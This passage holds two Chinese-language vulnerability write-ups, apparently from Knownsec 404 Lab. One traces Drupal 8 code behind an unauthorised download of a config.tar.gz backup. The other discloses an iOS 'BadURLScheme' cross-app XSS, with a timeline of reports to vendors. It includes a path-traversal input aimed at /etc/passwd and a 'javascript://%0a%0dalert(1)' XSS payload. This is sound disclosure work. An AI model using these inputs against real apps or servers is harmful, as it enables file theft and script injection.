接下来我们跟进它的controller,在 core/modules/system/src/FileDownloadController.php 第41-68行的 download 函数:
123456789101112131415161718192021222324public function download(Request $request, $scheme = 'private') {$target = $request->query->get('file');// Merge remaining path arguments into relative file path.$uri = $scheme . '://' . $target;if (file_stream_wrapper_valid_scheme($scheme) && file_exists($uri)) {// Let other modules provide headers and controls access to the file.$headers = $this->moduleHandler()->invokeAll('file_download', array($uri));foreach ($headers as $result) {if ($result == -1) {throw new AccessDeniedHttpException();}}if (count($headers)) {return new BinaryFileResponse($uri, 200, $headers, $scheme !== 'private');}throw new AccessDeniedHttpException();}throw new NotFoundHttpException();}函数获取了我们传入的 file 参数,与 $scheme 拼接后检测文件是否存在。我们访问 http://xxx/system/temporary/?file=config.tar.gz 然后下断点动态调试,执行到该函数时各变量的值如下:
也就是说 $scheme 的值是 temporary 。然后程序进入了 file_stream_wrapper_valid_scheme 函数检查协议有效性,动态跟进直到 core/lib/Drupal/Core/StreamWrapper/LocalStream.php 中第495-506行的 url_stat 函数:
可以看到 temporary://config.tar.gz 被映射到了 /tmp/config.tar.gz ,也就是我们刚备份到的位置,所以也就通过了 file_exists 。
通过检查后回到 download 函数中,接下来执行了如下语句:
1$headers = $this->moduleHandler()->invokeAll('file_download', array($uri));跟进 invokeAll 函数,在 core/lib/Drupal/Core/Extension/ModuleHandler.php 中第397-409行:
1234567891011121314public function invokeAll($hook, array $args = array()) {$return = array();$implementations = $this->getImplementations($hook);foreach ($implementations as $module) {$function = $module . '_' . $hook;$result = call_user_func_array($function, $args);if (isset($result) && is_array($result)) {$return = NestedArray::mergeDeep($return, $result);}elseif (isset($result)) {$return[] = $result;}}}动态调试情况如下图:
implementations 的值有 config , file , image ,遍历这三个值并调用相应函数:
config_file_download
file_file_download
image_file_download首先调用的是 config_file_download ,位于 core/modules/config/config.module 第64-78行:
123456789101112131415function config_file_download($uri) {$scheme = file_uri_scheme($uri);$target = file_uri_target($uri);if ($scheme == 'temporary' && $target == 'config.tar.gz') {$request = \Drupal::request();$date = DateTime::createFromFormat('U', $request->server->get('REQUEST_TIME'));$date_string = $date->format('Y-m-d-H-i');$hostname = str_replace('.', '-', $request->getHttpHost());$filename = 'config' . '-' . $hostname . '-' . $date_string . '.tar.gz';$disposition = 'attachment; filename="' . $filename . '"';return array('Content-disposition' => $disposition,);}}可以看到当且仅当文件是 config.tar.gz 时设置响应头以供下载,最后当返回到 download 函数时,执行如下语句:
1return new BinaryFileResponse($uri, 200, $headers, $scheme !== 'private');将最终的响应返回给了用户,从而触发了下载漏洞。
到这里有一个想法,我们可不可以传入 ../../etc/passwd\x00config.tar.gz 这样的参数来截断并且跳到别的目录呢?
我们看一下在 core/lib/Drupal/Core/StreamWrapper/LocalStream.php 中第120到144行的 getLocalPath() 函数,它在上面提到的 url_stat 函数中被调用:
123456789101112131415161718192021protected function getLocalPath($uri = NULL) {if (!isset($uri)) {$uri = $this->uri;}$path = $this->getDirectoryPath() . '/' . $this->getTarget($uri);if (strpos($path, 'vfs://') === 0) {return $path;}$realpath = realpath($path);if (!$realpath) {// This file does not yet exist.$realpath = realpath(dirname($path)) . '/' . drupal_basename($path);}$directory = realpath($this->getDirectoryPath());if (!$realpath || !$directory || strpos($realpath, $directory) !== 0) {return FALSE;}return $realpath;}可以看到路径中的 ../ 被 realpath 过滤,跳出 /tmp 的目的也就不能达到了。
另外还有一个方面, config_file_download 函数比较苛刻,只允许下载 config.tar.gz ,而 image_file_download 是为了下载图片,那么 file_file_download 函数能否供我们利用以下载系统的敏感文件呢?
file_file_download 函数在 core/modules/file/file.module 中第582-633行:
1234567891011121314151617function file_file_download($uri) {// Get the file record based on the URI. If not in the database just return./** @var \Drupal\file\FileInterface[] $files */$files = entity_load_multiple_by_properties('file', array('uri' => $uri));if (count($files)) {foreach ($files as $item) {if ($item->getFileUri() === $uri) {$file = $item;break;}}}if (!isset($file)) {return;}...}有以下三点:
- 根据注释可以看到该函数是根据 uri 来查询数据库中的文件记录再进行下载
- 我们请求中的 $scheme 为 temporary ,在 file_stream_wrapper_valid_scheme($scheme) && file_exists($uri) 限制了我们只能下载 /tmp 目录下存在的文件
- 默认 /tmp 下除了 config.tar.gz 只有 .htaccess综合这三点来看 file_file_download 函数是不存在下载漏洞的。
所以总的来说该漏洞只能在管理员导出备份的情况下下载 /tmp/config.tar.gz 。
3.补丁分析
增加了权限验证,使未授权用户不能下载 cnofig.tar.gz 。
0x02 修复方案
升级Drupal到8.1.10
0x03 参考
-
BadURLScheme in iOS
文/ SuperHei(知道创宇404安全实验室)
0x01 前言
这个是今年我在KCON 2016上的演讲题目,这个漏洞我最早在今年的4月份报告给了苹果公司一直没有得到修复进度等反馈。在刚刚发布的iOS 10里已经不
受这个漏洞影响了,所以这里直接把细节再次和大家一起分享一下。0x02 漏洞描述
这个漏洞主要是在iOS对于URL Scheme及其在UIWebView等控件的自动诊断识别等处理机制下导致跨应用XSS漏洞。
0x03 漏洞详情
iOS下的URLScheme存在几个特点:
1. iOS 下URL Schemes全局有效且只需安装app即可生效。
2. iOS下的URL Schemes的链接会被UITextView或者UIWebView的Detection Links属性识别为链接。
我们先看第2点的具体处理机制“UIWebView的Detection Links属性识别为链接”,也就是说你输入的任何URL Scheme连接都会被解析html里的a标签的调用:
1scheme:// —> <a … href="scheme://"> … </a >对XSS漏洞很熟悉的同学,很可能就会想到2个方向:
1. 通过双引号闭合使用事件来执行js 经过测试在上引号出现在scheme里不会被识别,所以这个思路不通。
2. 利用javascript://
伪协议执行js在主流的浏览器内核有2种方法调用,最常见的方法:
1<a href='javascript:alert(1)'>knownsec 404</a>还有另外一种格式方法很少有人正规使用:
1<a href='javascript://%0a%0dalert(1)'>knownsec 404</a>注意:与://的区别,也就是这种非常见的方式导致了很多程序的漏洞,比如前面曝光的iMessage的XSS漏洞(CVE-2016-1764)
所以这个“BadURLScheme”就是javascript了,我们回到前面提到的iOS下的URLScheme的第一个特点,当用户安装了一个注册了javascript这个URL Scheme的任意app后,如果其他的app里使用了UIWebView并且设置了Detection Links属性识别,那么在这些app里输入文本内容:
1javascript://%0a%0dalert(1)会被Detection Links属性解析为
<a>
调用:1<a dir="ltr" href="javascript://%0a%0dalert(1)" x-apple-data-detectors="true" x-apple-data-detectors-type="link" x-apple-data-detectors-result="5">javascript://%0a%0dalert(1)</a>成而导致这些app的XSS漏洞。
0x04 实际案列
要触发漏洞需要满足2个条件:首先用户需要下载安装一个注册了javascript这个URL Scheme的app [只要求安装就行],一般的方法主要攻击者写一注
册了javascript这个URL Scheme的app利用短信、微信等社会工程学手段引诱用户下载安装,另外的方法就是现有app市场上有对应注册了javascript这个
URL Scheme的app,实际上这种案列也是有的,比如:[Maxthon Cloud Web Browser - Best Internet Explore Experience by Maxthon Technology Limited]
https://itunes.apple.com/cn/app/maxthon-cloud-web-browser/id541052011?l=en&mt=8
也就是安装了Maxthon浏览器的用户很可能会受到影响。另外一个条件就是需要被攻击的app使用UIWebView并且设置了Detection Links属性,在我们实际
中发现满足这一条件的app是非常多的,比如:微信(已修复)、QQ邮箱(已修复)、outlook、印象笔记、知乎等0x05 漏洞演示
http://v.qq.com/x/page/x0328nwv6ju.html
0x06 漏洞披露
在这个漏洞发现只是其实存在很多疑惑的对方:“A系统上安装了B家的软件导致了C家软件被攻击,请问这个是谁家的漏洞?应该报告给谁?”经过分析后我认为是iOS的漏洞,对于Maxthon来说他也算是正规使用URL Scheme,对于那些受影响比较大的C们我还是选择了同时报告
* 2016.4.12 报告给product-security@apple.com 4.15收到邮件确认收到报告,后续没有收到任何关于漏洞的修复计划。
* 2016.4.11 报告给TSRC,得到了TSRC的积极反馈。并陆续修复处理了报告里提到的受BadURLScheme影响的app。
* 2016.4.12 报告给MSRC,收到MSRC反馈改漏洞认定为iOS漏洞已经与苹果公司沟通,outlook一直没做处理
* 2016.8.27 KCON 2016演讲《BadURLScheme in iOS》
* 2016.9.14 苹果发布iOS 10升级,测试不受BadURLScheme漏洞影响
* 2016.9.14 BadURLScheme in iOS细节对外全面公开致谢
最后感谢 呆神、@ogc557、@windknown、@dm557、@Daniel_K4、吕耀佳(行之)、TSRC提供的各种帮助
四、相关资源链接